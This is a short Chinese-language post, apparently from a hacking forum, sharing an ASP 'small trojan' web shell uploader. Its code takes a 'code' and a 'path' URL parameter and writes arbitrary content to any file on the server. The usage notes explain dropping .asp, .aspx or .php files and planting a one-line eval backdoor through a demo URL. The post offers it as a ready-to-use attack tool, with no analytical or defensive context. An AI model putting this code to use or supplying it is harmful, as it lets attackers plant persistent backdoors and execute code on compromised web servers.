一不错的小马

admin

1. <%
   
2. On Error Resume Next
   
3. set gl=server.CreateObJeCt("Adodb.Stream")
   
4. gl.Open
   
5. gl.Type=2
   
6. gl.CharSet="gb2312"
   
7. gl.writetext request("code")
   
8. gl.SaveToFile server.mappath(request("path")),2
   
9. gl.Close
   
10. set gl=nothing
    
11. response.redirect request("path")
    
12. %>

复制代码

使用方法:此马命名为x.asp  在URL上 编写 path=1.txt 则会在当前目录中自动创建1.txt文件.不仅限txt， asp、aspx、php等也可以，就看服务器支持不支持了。
在URL上 编写 code=<%eval request("pass")%>时，会将code的值自动写入到1.txt中

使用demo:    http://xxxxx.com/upload/x*****.asp?path=1.asp&code=<%eval request("pass")%>